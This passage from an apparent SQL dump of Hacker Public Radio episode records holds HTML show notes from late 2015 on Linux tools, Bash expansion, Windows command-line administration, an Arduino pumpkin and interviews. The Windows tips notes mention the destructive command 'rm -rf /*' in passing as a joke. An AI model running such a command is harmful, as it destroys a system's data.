uses some sort of magic randomsauce to pick a color palette, some patterns,\r\n	and some other distortions to that you get a brand-new, unique background every\r\n	time you run it.\r\n</p>\r\n<p>\r\n	It can also be started in daemon mode, with a timer, to automatically change\r\n	your wallpaper periodically.\r\n</p>\r\n<p>\r\n	There are at least two problems with this.\r\n</p>\r\n<p>\r\n	First of all, let\'s start with the practical. You can set the size of the image\r\n	xstarfish generates, by either using the -g flag and manually setting the\r\n	geometry with a pixel width and/or height, or you can use the -s flag and set a\r\n	general size like \"small\", \"large\", or \"full\". If you use \"full\", xstarfish\r\n	automatically generates a full wallpaper for your display.\r\n</p>\r\n<p>\r\n	Since xstarfish generates randomness (which is often CPU intensive) and uses\r\n	that to generate random filters (which can be hard on your CPU) and can be set\r\n	to do it periodically (which, depending on frequency, could keep your CPU busy),\r\n	this utility can be a resource hog. I have two monitors, each running 1280x1024\r\n	resolution, and when I set it to generate a new background every 10 seconds...\r\n	well, it didn\'t. It just maxed out one of my CPU cores, and spit out a\r\n	background every once and a while. Cutting it down to only generate a single\r\n	monitor-sized image every 60 seconds made things much more reasonable.\r\n</p>\r\n<p>\r\n	The second, more pertinent issue with xstarfish is that it randomly picks colors\r\n	and patterns. It is exceptionally random about it. Imagine for a moment that you\r\n	needed to paint a room, and you wanted to pick random colors and patterns for a\r\n	room in your house. You would begin by blindfolding a friend and pushing them\r\n	into the paint isle at your nearest hardware store. Whatever three buckets of\r\n	paint they bump into first, well, that\'s your color palette. What do you mean\r\n	you don\'t like orange, sea foam and gunmetal grey? \r\n</p>\r\n<p>\r\n	Then, you take those paint cans and proceed to tie one to your ceiling fan, one\r\n	to your eight-year-old child and swing the third around your head at a 35 degree\r\n	angle. Fairly quickly, you\'ll have your own xstarfish-inspired decor.\r\n</p>\r\n<p>\r\n	With all of the potentially awful things that can happen, I really do like\r\n	xstarfish. It\'s not something I keep running all the time, and a lot of the\r\n	options remind me of early 90s Encino Man fashion and school photo backdrops\r\n	with lasers. But sometimes the patterns are actually quite pleasing, and if I\r\n	keep the tile size small, it reminds me of 90s web design.\r\n</p>\r\n<hr>\r\n<p>\r\n	That concludes the second installment of apt spelunking. Please don\'t let me\r\n	take all the glory; take a tour through your package manager, whatever distro\r\n	you use, and tell us about some cool stuff you find!\r\n</p>',196,98,0,'CC-BY-SA','apt,tvtime,xstarfish,phatch,images,batch,video,wallpaper,terrible',0,0,1),
(1899,'2015-11-12','MyTinyTodo List',752,'Introduction to one of my favorite productivity tools, the web-based todo list called MyTinyTodo','<p>This show is about my favorite tool to keep track of stuff I have to do, stuff I want to do, gift ideas for my family, books I want to read, HPR topics to record, etc. It\'s called <a href=\"https://www.mytinytodo.net\">MyTinyTodo</a>. It\'s a web app that you can host on your own server and access from any device that has a web browser.</p>\r\n<p>The website claims that it is already mobile friendly, but I did not like the mobile interface they had, and also did not like the fact that I had to use a different URL to get the mobile interface, so I hacked the stylesheet and the index.html file in the code to make it a responsive design. Now it looks great on all of my devices.</p>\r\n<h2 id=\"features\">Features</h2>\r\n<ul>\r\n<li>Multiple lists</li>\r\n<li>Task notes</li>\r\n<li>Tags (and tag cloud)</li>\r\n<li>Due dates (input format: y-m-d, m/d/y, d.m.y, m/d, d.m)</li>\r\n<li>Priority (-1, 0, +1, +2)</li>\r\n<li>Different sortings including sort by drag-and-drop</li>\r\n<li>Search</li>\r\n<li>Password protection</li>\r\n</ul>\r\n<h2 id=\"system-requirements\">System requirements</h2>\r\n<ul>\r\n<li>PHP 5.2.0 or greater;</li>\r\n<li>PHP extensions: php_mysql (MySQL version), php_pdo and php_pdo_sqlite (SQLite version).</li>\r\n</ul>\r\n<h2 id=\"installation\">Installation</h2>\r\n<p>Setup is very easy as these things go. Check out the <a href=\"https://www.mytinytodo.net/faq.php#install\">installation instructions</a> at their website.</p>',238,0,0,'CC-BY-SA','productivity, organization, web apps, self-hosting',0,0,1),
(1911,'2015-11-30','Thoughts on GUI v CLI and the best distro',909,'Thoughts on which desktop to use, and which GUI to use','<h3>Promotion of GUI to new users</h3>\r\n<p>\r\nDeciding which GUI to present to a non techie, is simply a non issue as they can and do use different OS\'s all the time. We all have family and friends who have managed to operate phones, TV\'s and tablets as they iterate through their UI changes. Think about the changes in phones from Symbian to Android, iOS. The move from up and down channel tv\'s to DVR\'s, STB\'s and smart TV\'s. An then they all managed to get the hang of iPads and tablets without even calling you.\r\n</p>\r\n\r\n<h3>Promotion of GUI to tech savvy users.</h3>\r\n<p>\r\nTeach someone to use a GUI and they can use that computer.<br />\r\nTeach someone the command line and they can use any computer.\r\n</p>\r\n\r\n<p>\r\nGUI\'s change and do so all the time. This happens across the board. On all OS\'s Windows, Mac, KDE, Android, Gnome, Nokia.<br />\r\n<a href=\"https://en.wikipedia.org/wiki/History_of_the_graphical_user_interface\">https://en.wikipedia.org/wiki/History_of_the_graphical_user_interface</a>\r\n</p>\r\n<p>\r\nOn the other hand, if you learn to computer via the command line ONCE, then you know how to operate computers from 46 years ago, and most likely in 46 years. If you plans involve a career in the tech industry, you need to be using the command line.\r\n</p>\r\n<p>\r\nMost of the issues are the fear of not been the expert any more.\r\n</p>\r\n\r\n<h3>Is Linux is ready for the Desktop ?</h3>\r\n<p>\r\nYes. Android<br />\r\n<a href=\"https://www.businessinsider.com/iphone-v-android-market-share-2014-5?IR=T\">https://www.businessinsider.com/iphone-v-android-market-share-2014-5?IR=T</a>\r\n</p>\r\n<img src=\"https://static1.businessinsider.com/image/537b72f169bedd1e04384fab-1200-924/smartphoneosmarketshare.png\" width=\"80%\" />\r\n\r\n\r\n<h3>IS GNU/Linux is ready for the Desktop ?</h3>\r\n<p>\r\nBut you cry \"Android isn\'t Linux\".\r\n</p>\r\n<p>\r\nYes. ChromeOS is now shipping more units to educational market than Apple.<br />\r\n<a href=\"https://www.forbes.com/sites/anthonykosner/2014/12/01/google-unseats-apple-in-u-s-classrooms-as-chromebooks-beat-ipads/\">https://www.forbes.com/sites/anthonykosner/2014/12/01/google-unseats-apple-in-u-s-classrooms-as-chromebooks-beat-ipads/</a><br />\r\n<a href=\"https://events.linuxfoundation.org/sites/events/files/slides/chrome.pdf\">https://events.linuxfoundation.org/sites/events/files/slides/chrome.pdf</a>\r\n</p>\r\n\r\n<h3>Summary</h3>\r\n<p>\r\nDon\'t worry about it. Find what works for you and use it. Try and learn as much as you can. Learning stuff that will be around in 5 years is a good investment, but that is your choice.\r\n</p>\r\n',30,0,0,'CC-BY-SA','GUI,Graphical User Interface,CLI,Command Line Interface',0,0,1),
(1897,'2015-11-10','Installing Windows 7 Ultimate',1357,'I talk about installing Windows 7 Ultimate on a 320 GB HDD I got from a friend','<p>\r\n<a href=\"https://anthonyvenable110.wordpress.com\">https://anthonyvenable110.wordpress.com</a> is my blog so feel free to check me out there.\r\n</p>\r\n',297,0,0,'CC-BY-SA','windows, operating system installation, windows 7 Ultimate, windows 7',0,0,1),
(1901,'2015-11-16','Instaling Linux programs without internet',294,'I install supertuxkart at home on my PC','<p>\r\n<a href=\"https://www.supertuxkart,net/downloads\">https://www.supertuxkart,net/downloads</a>  to get your copy of the game\r\n</p>',297,0,0,'CC-BY-SA','linux, open source games, free',0,0,1),
(1921,'2015-12-14','How to run a conference',700,'How to organise and run a conference, and what can go wrong.','<p>\r\nThe slides that this podcast are based upon can be found here:\r\n</p>\r\n<p>\r\n<a href=\"https://docs.google.com/presentation/d/1_fkpXmW7ruYXOZBzXG5wGuNeFV_JPCA7G2A7qTMlN8g/edit?usp=sharing\">https://docs.google.com/presentation/d/1_fkpXmW7ruYXOZBzXG5wGuNeFV_JPCA7G2A7qTMlN8g/edit?usp=sharing\r\n</a>\r\n</p>\r\n',315,0,0,'CC-BY-SA','conference,PyCon Australia,linux.conf.au',0,0,1),
(1898,'2015-11-11','Free my music!',392,'How I got my music off my Mac and ended my iDependence.','<p>\r\nHow I got my music library transferred from my Mac to my Linux box, thereby allowing me to fully switch to Linux. This is a problem I\'ve been neglecting for a while that has been keeping me tethered to iTunes whenever I want to hear my music. This probably isn\'t the best or simplest solution, but it\'s how I felt comfortable doing it.\r\n</p>',303,0,1,'CC-BY-SA','Linux, Mac, music, iTunes, switch',0,0,1),
(1902,'2015-11-17','My Linux Tool Box',1411,'Fin talks about his digital box of Linux tools.','<p>\r\nTools I use:\r\n</p>\r\n<ol>\r\n<li>Htop - Command line system monitor</li>\r\n<li>Firefox - The best web browser</li>\r\n<li>Pluma or Gedit - Great gui text editors</li>\r\n<li>Yaourt or Synaptic - Simple yet powerful package managers</li>\r\n<li>Gucharmap - Character map for all your unicode needs</li>\r\n<li>Markdown - Distraction free, simple document writing.</li>\r\n<li>VLC - The one true media player.</li>\r\n<li>Cinnamon Desktop Environment - My favorite desktop environment.</li>\r\n<li>LibreOffice - For my limited office application needs.</li>\r\n<li>Evince or Atril - Simple, effective, reliable PDF readers.</li>\r\n<li>mtPaint - Pixel art programme.</li>\r\n<li>Inkscape - Vector graphics tool. Great for drawing.</li>\r\n<li>GIMP - The Gnu Image Manipulation Programme.</li>\r\n<li>Gnome Terminal or Mate Terminal - My preferred GUI terminals.</li>\r\n<li>Redshift - Ease your screen viewing when the sun goes down.</li>\r\n<li>Alarm Clock Applet - Used for the Pomodoro time management technique.</li>\r\n<li>Gparted - My preferred partition management tool.</li>\r\n<li>Steam - Lots of freedom hating games.</li>\r\n<li>Play on Linux - Tool to play other freedom hating games.</li>\r\n<li>Gpick - Simple colour picker and colour scheme generator.</li>\r\n<li>Thunderbird - My preferred email client. The best of a boring bunch.</li>\r\n<li>Skype - My nessecessity for human contact.</li>\r\n<li>Transmission - Torrent client. Great for downloading lots of Linux Distros!</li>\r\n<li>Uget - For when I need a large file that doesn\'t have a torrent.</li>\r\n<li>Java - I use OpenJDK and OpenJRE as java is my first language.</li>\r\n<li>Asunder CD Ripper - For ripping audio CD collections.</li>\r\n<li>Audacity - For recording this podcast!</li>\r\n<li>Music Brainz Picard - Tag, accurately, all those freshly ripped CDs.</li>\r\n<li>Virtualbox - Try all those .iso Linux distributions you just downloaded!</li>\r\n<li>GUFW - GUI Uncomplicated Fire Wall. Does exactly what it says on the tin.</li>\r\n<li>Numix Theme - A very complete theme with a lovely icon set. Flat style, very modern.</li>\r\n</ol>',299,23,1,'CC-BY-SA','Linux, GNU, Operating System, Tools, Utilities, Software',0,0,1),
(1896,'2015-11-09','User Local Software',251,'Eric describes a technique for organizing and working on user-installed source code and binaries','<p>In this recording I describe how I decided where to store software that I downloaded manually, as opposed to software that is installed and organized automatically by GNU/Linux systems.</p>\r\n<p><strong>SPOILER</strong>: I settled on <code>~/local/src/</code> and <code>~/local/opt/</code></p>\r\n<p>Happy Halloween.</p>\r\n<p>This is my first time recording a podcast. I recorded this in an afternoon when no one else was around except the furry kids and the neighbors outside. I\'ve had the idea for this episode for a while, but having never recorded before didn\'t really know when/where/how to do it until just now.</p>\r\n<p>The perspective of this episode comes from a GNU/Linux user since Sept. 2012, and a little bit of experience from 2002-2004. I\'m interested in easy, simple solutions that everyone can use to solve problems or use new things.</p>\r\n<p>Special thanks to Clacke for recommending in his recent episode the free/open-source Android recording application uRecord available from F-Droid. The resulting audio sounds great and uRecord is very easy to use. I recorded several separate paragraphs and concatenated them with Audacity.</p>\r\n',317,0,0,'CC-BY-SA','linux, gnulinux, freesoftware, sourcecode',0,0,1),
(1922,'2015-12-15','The case to backup Google email.',57,'A quick example of how I imported a backup of Gmail.','<p>\r\nGoogle Takeout, good for backup of gmail, or anything else from the Google-verse.\r\n</p>\r\n<ul>\r\n<li><a href=\"https://www.google.com/takeout/\">https://www.google.com/takeout/</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nThunderbird email client\r\n</p>\r\n<ul>\r\n<li><a href=\"https://www.mozilla.org/en-US/thunderbird/\">https://www.mozilla.org/en-US/thunderbird/</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nImportExportTools for Thunderbird\r\n</p>\r\n<ul>\r\n<li><a href=\"https://addons.mozilla.org/en-US/thunderbird/addon/importexporttools/\">https://addons.mozilla.org/en-US/thunderbird/addon/importexporttools/</a>\r\n</li>\r\n</ul>',318,0,0,'CC-BY-SA','google, email, thunderbird, backup, export',0,0,1),
(1903,'2015-11-18','Some further Bash tips',1758,'Some more information about types of expansion in Bash','<h1 id=\"some-further-bash-tips\">Some further Bash tips</h1>\r\n<h2 id=\"expansion\">Expansion</h2>\r\n<p>There are seven types of expansion applied to the command line in the following order:</p>\r\n<ul>\r\n<li>Brace expansion (we looked at this subject in the last episode <a href=\"https://hackerpublicradio.org/eps.php?id=1884\" title=\"Some more Bash tips\">1884</a>)</li>\r\n<li>Tilde expansion</li>\r\n<li>Parameter and variable expansion (this was covered in episode <a href=\"https://hackerpublicradio.org/eps.php?id=1648\" title=\"Bash parameter manipulation\">1648</a>)</li>\r\n<li>Command substitution</li>\r\n<li>Arithmetic expansion</li>\r\n<li>Word splitting</li>\r\n<li>Pathname expansion</li>\r\n</ul>\r\n<p>We will look at some more of these in this episode but since there is a lot to cover, we\'ll continue in a later episode.</p>\r\n<p>I have written out a moderately long set of notes about this subject and these are available here <a href=\"https://hackerpublicradio.org/eps/hpr1903_full_shownotes.html\" class=\"uri\">https://hackerpublicradio.org/eps/hpr1903_full_shownotes.html</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Bash Reference Manual:\r\n<ul>\r\n<li>Tilde Expansion: <a href=\"https://www.gnu.org/software/bash/manual/html_node/Tilde-Expansion.html\" class=\"uri\">https://www.gnu.org/software/bash/manual/html_node/Tilde-Expansion.html</a></li>\r\n<li>Command Substitution: <a href=\"https://www.gnu.org/software/bash/manual/html_node/Command-Substitution.html\" class=\"uri\">https://www.gnu.org/software/bash/manual/html_node/Command-Substitution.html</a></li>\r\n</ul></li>\r\n<li>HPR episode 1648 &quot;<em>Bash parameter manipulation</em>&quot;: <a href=\"https://hackerpublicradio.org/eps.php?id=1648\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1648</a></li>\r\n<li>HPR episode 1843 &quot;<em>Some Bash tips</em>&quot;: <a href=\"https://hackerpublicradio.org/eps.php?id=1843\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1843</a></li>\r\n<li>HPR episode 1884 &quot;<em>Some more Bash tips</em>&quot;: <a href=\"https://hackerpublicradio.org/eps.php?id=1884\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=1884</a></li>\r\n</ul>\r\n',225,42,1,'CC-BY-SA','Bash,expansion,tilde expansion,command substitution',0,0,1),
(1904,'2015-11-19','Windows Command Line Tips and Tricks',441,'Some tips to make you feel more comfortable on the Windows side of things.','<p>Hello, HPR. I am OnlyHalfTheTime, the Reluctant Windows Admin. I am a Linux user at home and at heart. I run VPSs on Digital Ocean, host websites all in Linux, mostly Ubuntu. By day, however, I work for an Managed Services Provider which deals with all Windows boxes.</p>\r\n<p>Today, I would like to talk about some tips and tricks I have come across while being forced to make the best out of a Windows environment. Being a Linux user, I find that many functions are more quickly completed if you drop to a Command Line Interface. This holds true for many Windows functions as well.</p>\r\n<p>First, let\'s establish the kind of environment you will need.</p>\r\n<p>Unfortunately, there is no sudo command built in to Windows. What we will need to do is run a command prompt as an administrator. On Windows 7, you can accomplish this by clicking the start menu, typing cmd, then rightclicking the command prompt program and choosing \'run as administrator\'. In Windows 8 and 10, you can right click the start menu directly and click Command Prompt Admin.</p>\r\n<p>This is almost the equivalent to running as root. You can affect almost anything except some system protected files. No rm -rf /* for you! The windows user most like root would be SYSTEM. Running a command prompt as SYSTEM is possible to accomplish a few ways, but is very very rarely needed. I can make another podcast about that later, but it is out-of-scope here.</p>\r\n<p>Lets get into our first example: User creation is so much easier at the Windows command line. For example, I want to add a local user to a system with administrative rights. From an admin command prompt, I type:</p>\r\n<pre><code>net user john hunter2  /add</code></pre>\r\n<p>this creates the user john with the password hunter2. Then I type:</p>\r\n<pre><code>net localgroup administrators john /add</code></pre>\r\n<p>This adds john to the local group administrators. This group has admin rights on this local machine. Say john abuses this privilege and needs to have his permissions revoked.</p>\r\n<pre><code>net localgroup administrators john /delete</code></pre>\r\n<p>This is much easier than going to the control panel, searching for users, adding a user, defining a password, choosing to make it an admin user. For me at least.</p>\r\n<p>Another thing the net command is used for is restarting services. Does that sounds silly to you? I agree! Regardless, let say you want to restart the print spooler on a troubled workstation. You could open a run prompt by hitting Windowskey+R and type &quot;services.msc&quot;. This opens up the services window where you can find the service &quot;print spooler&quot; and right click it to restart. or you could just type:</p>\r\n<pre><code>net stop spooler\r\nnet start spooler</code></pre>\r\n<p>This is easier to script as well, in case a user is always having trouble printing. Provide a simple batch file (the equivalent of a shell script) to resolve and get on with your day.</p>\r\n<p>Affecting files can be a pain in Windows as the paths tend to be esoteric and alien to a Linux user. For example. Let\'s say I want to copy file foo.bar in the openVPN programs folder to my desktop. I could type:</p>\r\n<pre><code>copy &quot;C:\\Program Files (x86)\\OpenVPN Technologies\\OpenVPN Client\\etc\\profile\\foo.bar&quot; &quot;C:\\Users\\john\\desktop\\foo.bar&quot;</code></pre>\r\n<p>Gotta remember those doublequotes since Windows has spaces AND parentheses in the full path. Wow. Even with tab completion, that\'s a lot of work. I have a better solution if you have access to the GUI. Find the file you wish to copy and drag and drop it into the command window. Windows will enter the full path into the prompt. If the files does not already exist where you want it you can\'t drag it into the prompt. There are variables that can speed up this process. It may not be as elegant and simple as ~, but Windows does have a variable for the local user\'s home directory. You can type:</p>\r\n<pre><code>%HOMEPATH%\\desktop\\foo.bar</code></pre>\r\n<p>But you are saying, wait OnlyHalfTheTime, this doesn\'t save me any time or keystrokes! This is true in this specific case, but in scripting, it becomes important to use variables instead of full paths. I may not have Windows installed in the &quot;C&quot; drive for example. Also, some are real time-savers. if you use %APPDATA% for example, it maps to C:{username}.</p>\r\n<p>Now, let\'s say I am going to be doing a lot of work in a specific directory. I could keep entering the full path, but come on, no one likes that guy. I could open a command prompt and <code>cd</code> or change directory, just like in Linux. or I could find the directory in the file explorer and right click in the folder while holding down shift. This gives you and extra option in the context menu named \'open command windows here\' which does exactly that. You will get a command window opened with the working directory set as the folder in which you right clicked.</p>\r\n<p>Hopefully some of these methods will help folks like me: Windows admin by day, Linux enthusiast by night. This is OnlyHalfTheTime, the Reluctant Windows Admin, signing off.</p>\r\n',319,0,0,'CC-BY-SA','Windows, command line',0,0,1),
(1912,'2015-12-01','OpenNMS at All Things Open Conference',476,'Klaatu talks to the OpenNMS project at the All Things Open Conference','<p>\r\nKlaatu talks to Jessie the OpenNMS project at the All Things Open Conference.\r\n</p>',78,78,0,'CC-BY-SA','interview,OpenNMS',0,0,1),
(1907,'2015-11-24','Charlie Reisinger and Penn Manor',366,'Klaatu interviews Charlie Reisinger of Penn Manor school district','<p>\r\nKlaatu interviews Charlie Reisinger about how Penn Manor school district uses of open source...on every student\'s laptop.\r\n</p>',78,78,0,'CC-BY-SA','linux,laptop,school',0,0,1),
(1917,'2015-12-08','OpenSource.com',888,'Klaatu interviews Rikki Endsley from opensource.com','<p>\r\nKlaatu interviews Rikki Endsley from <a href=\"https://opensource.com\">https://opensource.com</a>, a community-driven website covering news and events in the open source world. Klaatu sometimes contributes to <a href=\"https://opensource.com\">https://opensource.com</a>, so this interview is tainted and biased. Beware!\r\n</p>',78,78,0,'CC-BY-SA','open source, journalism',0,0,1),
(1923,'2015-12-16',' Klaatu and System76',479,'Klaatu interviews Sam about kjd newest line of System76 computers','<p>\r\nKlaatu interviews Sam about kjd newest line of System76 computers, now with an all metal body! (the computers, not Klaatu, or Sam)\r\n</p>\r\n<p>\r\n<a href=\"https://system76.com/\">https://system76.com/</a>\r\n</p>',78,78,0,'CC-BY-SA','laptop, heavy metal, apple, mac, ubuntu, system76',0,0,1),
(1927,'2015-12-22','Ansible Interview',480,'Klaatu talks to Ansible at All Things Open conference','<p>\r\nKlaatu talks to Ansible at All Things Open conference.\r\n</p>\r\n',78,78,0,'CC-BY-SA','ansible,automation,chef,puppet',0,0,1),
(1908,'2015-11-25','Arduino Pumpkin',448,'droops talks about how his class built a pumpkin that comes alive for halloween.','<h3>Code for Pumpkin</h3>\r\n\r\n\r\n<a href=\"https://hackerpublicradio.org/eps/hpr1908/hpr1908_1_circuit.jpg\">\r\n	<img src=\"https://hackerpublicradio.org/eps/hpr1908/hpr1908_1_circuit_small.jpg\"/>\r\n</a>\r\n\r\n<a href=\"https://hackerpublicradio.org/eps/hpr1908/hpr1908_2_mechanism.jpg\">\r\n	<img src=\"https://hackerpublicradio.org/eps/hpr1908/hpr1908_2_mechanism_small.jpg\"/>\r\n</a>\r\n\r\n<a href=\"https://hackerpublicradio.org/eps/hpr1908/hpr1908_Schematic.png\">\r\n	<img src=\"https://hackerpublicradio.org/eps/hpr1908/hpr1908_Schematic_small.png\"/>\r\n</a>\r\n\r\n<video controls>\r\n	<source src=\"https://hackerpublicradio.org/eps/hpr1908/hpr1908.webm\" type=\'video/webm;codecs=\"vp8, vorbis\"\'/>\r\n</video>\r\n\r\n\r\n<pre>\r\nint ledPin1 = 5;\r\nint ledPin2 = 6;\r\nint motorPin = 8;\r\nint lightPin = 3;\r\nint lightVal;\r\nint potPin = 0;\r\nint potVal;\r\n\r\nvoid setup(){\r\n  Serial.begin(9600);\r\n  pinMode(ledPin1, OUTPUT);\r\n  pinMode(ledPin2, OUTPUT);\r\n  pinMode(motorPin, OUTPUT);\r\n  pinMode(potPin, INPUT);\r\n  pinMode(lightPin, INPUT);\r\n  digitalWrite(ledPin1, LOW);\r\n  digitalWrite(ledPin2, LOW);\r\n  digitalWrite(motorPin, LOW);\r\n}\r\n\r\nvoid loop(){\r\n  potVal = analogRead(potPin);\r\n  lightVal = analogRead(lightPin);\r\n  Serial.println(lightVal);\r\n  if (lightVal < potVal){\r\n    animate();\r\n  }\r\n}\r\n\r\nvoid animate(){\r\n  digitalWrite(ledPin1, HIGH);\r\n  digitalWrite(ledPin2, HIGH);\r\n  digitalWrite(motorPin, HIGH);\r\n  delay(100);\r\n  digitalWrite(ledPin1, LOW);\r\n  digitalWrite(ledPin2, LOW);\r\n  digitalWrite(motorPin, LOW);\r\n}\r\n</pre>\r\n',1,91,0,'CC-BY-NC-SA','Arduino,Arduino Uno,LED,pumpkin,Halloween',0,0,1),
(1909,'2015-11-26','Creating an Open, Embedded-Media Music Textbook',1795,'This is a recording of my presentation at the recent national joint CMS/ATMI meeting in Indianapolis','<h2>Re-Invigorating the Wheel: Creating an Open, Embedded-Media Music Textbook for the Digital Age</h2>\r\n\r\n<p class=\"right info\">\r\nThis is a recording of a presentation I gave on November 7th, 2015, at the national joint meeting of the College Music Society (CMS) and the Association for Technology in Music Instruction (ATMI) in Indianapolis, Indiana. I even have some action photos! Click on the first image below to visit the Flickr photo album, which also includes the slides from my presentation.\r\n</p>\r\n\r\n<a data-flickr-embed=\"true\"  href=\"https://www.flickr.com/photos/137675441@N05/albums/72157658661593523\" title=\"ATMI 2015 photo Album on Flickr\"><img src=\"https://farm1.staticflickr.com/597/22867790552_5b324d4189_z.jpg\" width=\"640\" height=\"480\" alt=\"ATMI 2015 photo Album on Flickr\"/></a>\r\n\r\n<h2>Books</h2>\r\n\r\n<ul>\r\n<li>Percy Goetschius. <em>Counterpoint Applied in the Invention, Fugue, Canon and Other Polyphonic Forms</em>. New York: G. Schirmer, 1902. <a href=\"https://jonathankulp.org/gratis.html\">Download</a></li>\r\n	<li>________. <em>Exercises in Elementary Counterpoint</em>. New York: G Schirmer, 1910.  <a href=\"https://jonathankulp.org/gratis.html\">Download</a></li>\r\n	<li>Kent Kennan. <em>Counterpoint</em>, 4th ed. Englewood Cliffs, NJ: Prentice-Hall, 1999.</li>\r\n<li>Jonathan Kulp, <em><a href=\"https://jonathankulp.org/gratis.html\" title=\"Read about Gratis ad Parnassum at https://jonathankulp.org\">Gratis ad Parnassum</a>: A Free Workbook for 18th-Century Counterpoint</em>. Lafayette, LA: [no publisher] 2009. <span class=\"more\"><a href=\"https://jonathankulp.org/docs/GratisAdParnassum.pdf\" target=\"_blank\">view pdf</a></span></li>\r\n<li>Friedrich J. Lehmann. <em>A Treatise on Simple Counterpoint in Forty Lessons</em>. New York: G Schirmer, 1907. (This is the one I <a href=\"https://www.gutenberg.org/ebooks/16342\">found on Project Gutenberg</a> that I did not think was suitable as a textbook for my class)</li>\r\n</ul>\r\n\r\n\r\n<h2>Resources Mentioned</h2>\r\n\r\n<ul>\r\n<li>\r\n	<a href=\"https://calibre-ebook.com/\">Calibre</a>: eBook Management software. See also <a href=\"https://manual.calibre-ebook.com/cli/cli-index.html\">documentation for the Calibre command-line interface</a>, which is what I use to create these counterpoint books.\r\n</li>\r\n\r\n<li>\r\n<a href=\"https://www.gimp.org/\">GIMP</a>: the GNU Image Manipulation Program (a robust free alternative to Photoshop)\r\n</li>\r\n\r\n<li>\r\n    <a href=\"https://archive.org/\">Internet Archive</a>: a non-profit library of millions of free books, movies, software, music, and more.\r\n</li>\r\n\r\n<li>\r\n    Kimiko Ishizaka\'s <a href=\"https://www.opengoldbergvariations.org/\">The Open Goldberg Variations</a> and <a href=\"https://music.kimiko-piano.com/album/bach-well-tempered-clavier-book-1\">The Open Well Tempered Clavier</a>, released under a <a href=\"https://creativecommons.org/publicdomain/zero/1.0/\">CC0 1.0 Universal (CC0 1.0) Public Domain Dedication license</a>.</li>\r\n\r\n<li>\r\n    <a href=\"https://www.lilypond.org/\">Lilypond</a>: Music Notation software for Windows, Mac, and Linux. \r\n</li>\r\n\r\n<li>\r\n    <a href=\"https://itunes.apple.com/us/app/marvin-ebook-reader-for-epub/id667361209?mt=8\">Marvin</a>: iOS eBook reader app $3.99 in Apple store\r\n</li>\r\n\r\n<li>\r\n    <a href=\"https://www.gutenberg.org/\">Project Gutenberg</a>: over 50,000 free ebooks: choose among free epub books, free kindle books, download them or read them online.\r\n</li>\r\n\r\n<li>\r\n    <a href=\"https://www.symphonypro.net/static/SP4/index.html\">Symphony Pro</a>: iOS Notation app $12.99 in Apple store\r\n</li>\r\n\r\n<li>\r\n    <a href=\"https://jonathankulp.org/ereader_compatibility_tables.html\">E-Reader App Compatibility Chart</a>: see which apps are best suited for reading these counterpoint books\r\n</li>\r\n\r\n<li>\r\n   <a href=\"https://trinket.io/\">Trinkets</a>: Share Code from any Device. Trinket lets you run and write code in any browser, on any device. Terrific for embedding counterpoint exercises on web pages or learning management systems.</li>\r\n</ul>\r\n\r\n<h2>Watch My Workflow:</h2>\r\n\r\n<iframe width=\"300\" height=\"169\" src=\"https://www.youtube.com/embed/JWlKNe2nEE0\" frameborder=\"0\" allowfullscreen></iframe>\r\n\r\n<h2>Serious Nerds Only</h2>\r\n\r\n<p>Many of the tedious repetitive processes I had to do on image files and audio files are done by bash scripts that are launched by voice commands, as demonstrated in the YouTube video above. The processes I\'m talking about are things like renaming files according to my filenaming conventions, putting the files in the right place, resizing images, converting images to different formats, optimizing them for file size, converting audio from MIDI to ogg and mp3, and reducing audio from two channels to one in order to reduce file size. Below are the main tools I use for this, apart from the Linux bash shell itself. If you\'re interested in actually seeing the scripts I wrote to perform the magic, I am happy to share. Just drop me an email.</p>\r\n\r\n<ul>\r\n<li>\r\n    <a href=\"https://manual.calibre-ebook.com/cli/cli-index.html\">Calibre command-line tools</a>: these were <strong>essential</strong> to automate the process of converting the source HTML file into the various versions and eBook formats of the book. Without this I might have thrown up my hands in defeat long ago.\r\n</li>\r\n\r\n<li>\r\n    <a href=\"https://www.imagemagick.org/\">ImageMagick</a>: command-line image-manipulation tools\r\n</li>\r\n\r\n<li>\r\n<a href=\"https://sox.sourceforge.net/\">sox</a>: command-line audio-manipulation tool, \"the Swiss Army knife of sound processing programs.\"\r\n</li>\r\n\r\n<li>\r\n<a href=\"https://optipng.sourceforge.net/\">optipng</a>: command-line png optimizer. This is important to keep the book\'s file size as small as possible.\r\n</li>\r\n\r\n<li>\r\n<a href=\"https://github.com/tjko/jpegoptim\">jpegoptim</a>: command-line jpeg optimizer.\r\n</li>\r\n\r\n<li>\r\n    <a href=\"https://sourceforge.net/projects/timidity/\">TiMidity++</a>: an open-source, command-line MIDI-to-WAVE converter and player.\r\n</li>\r\n\r\n<li>\r\n    <a href=\"https://lame.sourceforge.net/\">LAME</a>: high quality MPEG Audio Layer III (MP3) encoder licensed under the LGPL.\r\n</li>\r\n<li>\r\n    <a href=\"https://wiki.xiph.org/Vorbis-tools\">oggenc (part of vorbis-tools)</a>: Several tools to use, manipulate and create Vorbis files (vorbis is a free audio codec).\r\n</li>\r\n\r\n</ul>\r\n',238,0,0,'CC-BY-SA','open learning materials, counterpoint, music theory, html, ebooks, epub, public domain',0,0,1),
(1913,'2015-12-02','The Linux Experiment',209,'Help us take The Linux Experiment to the next level!','<p>\r\nIs free software ready for the mainstream? Has Linux progressed far enough in its evolution to be a practical desktop environment for those who dont have degrees in computer science? Can a user really just switch off Windows or Mac and be as productive on a completely open source operating system?\r\n</p>\r\n<p>\r\nThe Linux Experiment is relatively simple in its goals. Friends, all with varying degrees of experience with Linux in general (even some with zero experience and others who have experience with multiple distributions), will install some distribution or another of Linux on their home computers for four months.\r\n</p>\r\n<p>\r\nOver the course of these four months, the users will administrate, tinker with, and use Linux as their primary home operating system, utilizing the power of open-source operating systems and applications to see just how productive they can be. Updates will be made on this very site along the way, providing an in-depth look into how each user is adapting to their new environment. The trials, tribulations, triumphs, and other nouns beginning with t will all be laid out here, bare for everyone to see.\r\n</p>\r\n<p>\r\nBy the end of the four month cycle, each user has imposed their own goals as to where they want to be with Linux; running a server environment? Comfortable to tinker with bash commands?  Time will tell.\r\n</p>\r\n<p>\r\nFor now, sit back, relax, and enjoy  this isnt your normal experiment. We are the guinea pigs.\r\n</p>\r\n\r\n<ul>\r\n<li>Website: <a 